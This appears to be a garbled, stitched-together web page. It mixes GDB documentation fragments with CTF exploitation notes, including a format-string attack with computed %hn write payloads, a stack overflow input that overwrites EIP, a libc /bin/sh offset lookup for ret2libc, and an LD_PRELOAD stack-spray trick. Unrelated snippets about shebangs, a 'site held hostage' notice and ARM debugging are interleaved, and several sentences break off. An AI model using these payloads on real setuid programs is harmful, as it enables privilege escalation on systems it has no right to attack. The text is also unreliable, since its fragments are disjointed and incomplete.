Why use GDB? • GDB can do four main kinds of things to help you catch bugs in the act: - Start your program, specifying anything that might affect its • From this information, you can find functions that, while they themselves may not have used much time, called other functions that did use unusual.. pico83515@shell:/home/format$ ./format %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x ffffd774.ffffd780.f7e4f39d.f7fc83c4.f7ffd000.0804852b.0804a030.08048520.00000000 We see that the address is present on the stack at the seventh position. Otherwise, we can put it on the stack by`python -c 'print "A"*20 + "\x90\x90\x90\x90" + "A"*12 + "BBBB"'` (gdb) x/30xw 0xffffd89c 0xffffd89c: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd8ac: 0x41414141 0x90909090 0x41414141 0x41414141 0xffffd8bc: 0x41414141 0x42424242 0x47445800 0x5345535f When we used the below with the address, we were able to overwrite the RET by BBBB. Now, we control the EIP :)

>> ldd binary .... libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e0e000) ... >> strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" 18cd17 /bin/sh Meaning, /bin/sh is at libc_base + 0x18cd17 (on my system, that is). If you want to find libc’s base address, hop in gdb and type vmmap libc.TLDR: Before the current instruction is completely finished, EIP will be updated with its new value. Meaning, during the call instruction, you are pushing EIP indeed and NOT the address of the next instruction. So technically, saying “the address of the instruction after the call is pushed onto the stack” means that you will skip an instruction, which is not the case because EIP is already updated to the address of the next instruction during the call instruction.Search memory for the sequence of bytes specified by val1, val2, etc. The search begins at address start_addr and continues for either len bytes or through to end_addr inclusive. $ export LD_PRELOAD=`python -c 'print "/bin/getflag\x0a"*1000'` i.e. fill the stack with one thousand /bin/getflags. You need to have gdb on your system and Python debugging extensions. Extensions package includes debugging symbols and adds Python-specific commands into gdb. On a modern Linux system, you can easily install these wit

(gdb) disassemble main Dump of assembler code for function main: 0x08048588 <+27>: call 0x8048410 <getpid@plt> 0x080485b3 <+70>: call 0x8048450 <sprintf@plt> 0x080485c7 <+90>: call 0x80486c0 <lstat> 0x080485df <+114>: call 0x8048400 <unlink@plt> 0x080485eb <+126>: call 0x8048420 <system@plt> 0x080485f7 <+138>: call 0x80483e0 <sleep@plt> 0x08048616 <+169>: call 0x8048420 <system@plt> 0x08048635 <+200>: leave 0x08048636 <+201>: ret If you check the ltrace output If /bin/sh specifies the Bourne shell, then the end result is that all of the shell commands in the file some/path/to/foo are executed with the positional Another theory on the sh in shebang is that it is from the default shell sh, usually invoked with shebang.[21] This usage was current by December.. We're sorry, but it appears our site is being held hostage. Don't worry, our supercoders are on the job and won't rest till it's back

Ctf hello,world!Knock knock who’s there… | Jelle Vergeer

That’s it for this topic! Unfortunately, I couldn’t provide a simpler example (other than the generic ones) but this is what cybersecurity is all about! Adapting, hacking and patching!If the target program runs with root privileges, then we make it very easy for the attacker to get root privileges. Although spawning the shell using "/bin/sh" drops privileges, using "/bin/sh -p" does not, so be very careful of the programs that run with root privileges on your system. This number is best kept minimum.Ok now the tricky part comes, remember how I was mumbling about the function expecting to have the return adress being pushed on the stack by the functon call? Well it didn’t, since we returned into the function rather than call the function!(gdb) run myfile.txt Then, outside of gdb you can rewrite the content of the file and run your program again and again in gdb.If HOB < LOB HOB:0x0804 LOB:0x8706 [addr+2][addr] = \x4e\xd6\xff\xff\x4c\xd6\xff\xff %.[HOB - 8]x = 0x804 - 8 = 7FC (2044) = %.2044x %[offset]$hn = %6\$hn %.[LOB - HOB]x = 0x8706 - 0x804 = 7F02 (32514) = %.32514x %[offset+1]$hn = %7\$hn `python -c 'print "\x4e\xd6\xff\xff\x4c\xd6\xff\xff" +"%.2044x%6\$hn %.32514x%7\$hn"'` We also need to find the offset where the address is stored which can be done by two methods: Either compiling the program on local machine and checking the buffer just after snprintf Although it it sometimes possible to debug applications using GDB (The GNU Debugger) on the target boards, there is often not enough memory available to. If you are familiar with gdb and prefer to use the command line, you can use gdb for ARM. I'll use a build machine using Debian Squeeze as an..

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